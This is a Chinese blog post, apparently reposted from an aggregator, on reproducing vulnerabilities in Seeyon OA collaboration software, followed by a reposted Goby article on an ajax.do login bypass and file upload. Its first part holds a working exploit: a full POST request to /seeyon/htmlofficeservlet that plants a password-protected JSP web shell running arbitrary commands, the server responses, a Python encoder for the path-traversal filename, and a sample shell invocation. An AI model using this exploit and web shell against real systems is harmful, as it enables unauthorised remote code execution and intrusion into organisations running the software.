漏洞复现-致远OA

Posted amingMM

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞复现-致远OA相关的知识,希望对你有一定的参考价值。

致远OA

致远A8-V5协同管理软件V6.1sp1

致远A8+协同管理软件V7.0、V7.0sp1、V7.0sp2、V7.0sp3

致远A8+协同管理软件V7.1

漏洞指纹 fofa app=“用友-致远OA” “seeyon”
https://www.cnblogs.com/flashine/articles/14325665.html 复现
https://www.cnblogs.com/nul1/p/12803555.html

/seeyon/htmlofficeservlet

EXP

POST /seeyon/htmlofficeservlet HTTP/1.1
Content-Length: 1121
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: xxxxxxxxx
Pragma: no-cache

DBSTEP V3.0     355             0               666             DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) StringBuilder line = new StringBuilder();try Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) line.append(temp+"\\n");buf.close(); catch (Exception e) line.append(e.getMessage());return line.toString(); %><%if("asasd3344".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd")))out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");elseout.println(":-)");%>6e4f045d4b8506bf492ada7e3390d7ce

响应

DBSTEP V3.0     386             0               666             DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
CLIENTIP=wLCXqUKAP7uhw4g5zi=6
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) StringBuilder line = new StringBuilder();try Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) line.append(temp+"\\n");buf.close(); catch (Exception e) line.append(e.getMessage());return line.toString(); %><%if("asasd3344".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd")))out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");elseout.println(":-)");%>

#!/usr/bin/env python2
# -*- coding: utf-8 -*-

# qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
# ..\\\\..\\\\..\\\\ApacheJetspeed\\\\webapps\\\\seeyon\\\\test123456.jsp
import base64

a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="  
b = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"
out = ""

c = input("\\n1.加密  2.解密  0.退出\\n\\n请选择处理方式:")

while c != 0:
    out = ""
    if c == 1:
        str = raw_input("\\n请输入要处理的字符串:")
        str = base64.b64encode(str)
        for i in str:
                out += b[a.index(i)]
        print("\\n处理结果为:"+out)
    elif c == 2:
        str = raw_input("\\n请输入要处理的字符串:")
        for i in str:
                out += a[b.index(i)]
        out = base64.b64decode(out)
        print("\\n处理结果为:"+out)
    else:
        print("\\n输入有误!!只能输入“1”和“2”,请重试!")
    c = input("\\n1.加密  2.解密  0.退出\\n\\n请选择处理方式:")

HTTP/1.1 200 OK
Date: Sat, 16 Apr 2022 13:01:42 GMT
Connection: close
Server: Seeyon-Server/1.0
Content-Length: 1116

DBSTEP V3.0     386             0               666             DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
CLIENTIP=wLKhqUwAqUKEwfuXwiC6
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) StringBuilder line = new StringBuilder();try Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) line.append(temp+"\\n");buf.close(); catch (Exception e) line.append(e.getMessage());return line.toString(); %><%if("asasd3344".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd")))out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");elseout.println(":-)");%>

http://wyb0.com/posts/2019/seeyon-htmlofficeservlet-getshell/

https://blog.csdn.net/xd_2021/article/details/122232463

致远OA 登录框处存在Log4j2漏洞

请输入要处理的字符串:qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
b'..\\\\..\\\\..\\\\ApacheJetspeed\\\\webapps\\\\seeyon\\\\test123456.jsp'
 

test123456.jsp?pwd=asasd3344&cmd=ipconfig

致远A8-V5协同管理软件 V6.1SP2


v6.1 sp2
.A6 V7.1SP1
上传漏洞
https://www.cnblogs.com/bonelee/p/15160660.html

https://blog.csdn.net/weixin_43227251/article/details/115616761

致远 A8+ V7.1

公开日期:2021-06-03
漏洞编号:CNVD-2021-32773
危害等级:高危
漏洞描述:致远A8+协同管理软件存在命令执行漏洞

北京致远互联软件股份有限公司 致远A8+协同管理软件V7.0
北京致远互联软件股份有限公司 致远A8+协同管理软件V7.0sp1
北京致远互联软件股份有限公司 致远A8+协同管理软件V7.0sp2
北京致远互联软件股份有限公司 致远A8+协同管理软件V7.0sp3
北京致远互联软件股份有限公司 致远A8+协同管理软件V7.1

远程任意文件上传文件上传漏洞
致远A8-V5协同管理软件 V6.1sp1
致远A8+协同管理软件V7.0、V7.0sp1、V7.0sp2、V7.0sp3
致远A8+协同管理软件V7.1

A6 员工敏感信息泄露https://blog.csdn.net/qq_42660246/article/details/116176625

http://www.javashuo.com/article/p-ejsncfjj-nu.html

技术分享 | 从致远OA-ajax.do漏洞复现到利用



技术分享 | 从致远OA-ajax.do漏洞复现到利用


Goby社区第11 篇技术分享文章

全文共:1898    预计阅读时间:5 分钟


前言:近网上爆出致远OA ajax.do登录绕过和任意文件上传漏洞,影响部分旧版致远OA版本(致远OA V8.0,致远OA V7.1、V7.1SP1,致远OA V7.0、V7.0SP1、V7.0SP2、V7.0SP3,致远OA V6.0、V6.1SP1、V6.1SP2,致远OA V5.x,致远OA G6)。互联网上已经有基于Python的EXP,为了更好的发挥Goby的作用,尝试在Goby上编写EXP工具。



技术分享 | 从致远OA-ajax.do漏洞复现到利用 01

 漏洞复现

漏洞复现主要分以下三个部分:

1.1 未授权访问

参考unicodeSec大佬的分析,通过请求eyon/thirdpartyController.do.css/..;/ajax.do判断是否存在漏洞,若出现下图异常,则可能存在漏洞。 

技术分享 | 从致远OA-ajax.do漏洞复现到利用

通过抓取数据包,可以看到如下的数据请求和返回结构:

技术分享 | 从致远OA-ajax.do漏洞复现到利用

返回的状态值为200,且返回的数据包含"java.lang.NullPointerException:null"字符串。

1.2 任意文件上传

调用未授权的文件上传接口上传任意文件,以上传test.txt,上传到/seeyon目录下,内容为test123,数据包如下所示:

技术分享 | 从致远OA-ajax.do漏洞复现到利用

返回的状态值为500,文件上传成功会返回。

{ "message":null, "code":"0844135702", "details":null}
其中code的值不固定。

文件上传失败会返回。

{ "message": "被迫下线,原因:与服务器失去连接", "code": "-1", "details": null}

1.3 请求上传的文件

通过请求上传的文件,查看文件是否上传成功,如下所示:

技术分享 | 从致远OA-ajax.do漏洞复现到利用



技术分享 | 从致远OA-ajax.do漏洞复现到利用 02

Goby EXP编写

2.1 漏洞信息填写

致远OA的查询规则是:app=Yonyou-Seeyon-OA(可以常规扫目标后查看该目标的资产类型以确定查询规则)

技术分享 | 从致远OA-ajax.do漏洞复现到利用

填写漏洞信息,如下所示:

技术分享 | 从致远OA-ajax.do漏洞复现到利用

而后在高级配置中,填写标签、描述、产品、产品主页、作者、来源、漏洞危害和解决方案等信息。

2.2 ScanSteps填写

2.2.1 未授权访问判断

根据漏洞复现部分,GET请求/seeyon/thirdpartyController.do.css/..;/ajax.do,根据返回数据的状态码200和返回内容中包含"java.lang.NullPointerException:null"字符串判断目标是否存在漏洞,填写对应的规则,如下所示:

技术分享 | 从致远OA-ajax.do漏洞复现到利用

技术分享 | 从致远OA-ajax.do漏洞复现到利用

此处在header的中需要填写Accep字段。

2.2.2 文件上传二次判断

和Goby团队的技术表哥交流后,仅通过上面的未授权访问判断,可能会存在很多的误报,因此需要借助文件上传进一步判断。

POST数据进行任意文件上传,需要带上Content-Type: application/x-www-form-urlencoded,根据返回内容是否包含message、code和details,并且排除返回内容包含-1(上传失败,返回值的code为-1)判断是否上传成功。

技术分享 | 从致远OA-ajax.do漏洞复现到利用

技术分享 | 从致远OA-ajax.do漏洞复现到利用

Post数据可参考互联网上已有的资源。

tips小技巧: 填写完测试数据后,在自定义PoC的右上角有个"单ip扫描"选项,输入ip:port,进行单ip扫描,查看定义的测试选项逻辑是否正确。

2.3 ExploitSteps填写

从生成的seeyou_OA_ajaxAction_formulaManager_File_Upload.json文件的ScanSteps中提取Post部分的数据,加入到ExploitSteps中,如下:

技术分享 | 从致远OA-ajax.do漏洞复现到利用

需要在ScanSteps前面加上"HasExp":"true",进行设置漏洞验证。

在mojie师傅的帮助下,将上传的文件名等内容固定到ExpParams部分中,方便验证时输出文件上传的信息,如下所示:

技术分享 | 从致远OA-ajax.do漏洞复现到利用



技术分享 | 从致远OA-ajax.do漏洞复现到利用 03

Goby 验证效果

技术分享 | 从致远OA-ajax.do漏洞复现到利用

技术分享 | 从致远OA-ajax.do漏洞复现到利用




技术分享 | 从致远OA-ajax.do漏洞复现到利用



更多Goby使用技巧分享





以上是关于漏洞复现-致远OA的主要内容,如果未能解决你的问题,请参考以下文章

技术分享 | 从致远OA-ajax.do漏洞复现到利用

致远OA A8 htmlofficeservlet 任意文件上传漏洞 漏洞复现

致远OA ajax.do登录绕过任意文件上传

通达OA前台cookie伪造登录漏洞复现

通达OA前台任意用户登录漏洞复现

通达OA前台任意用户登录漏洞复现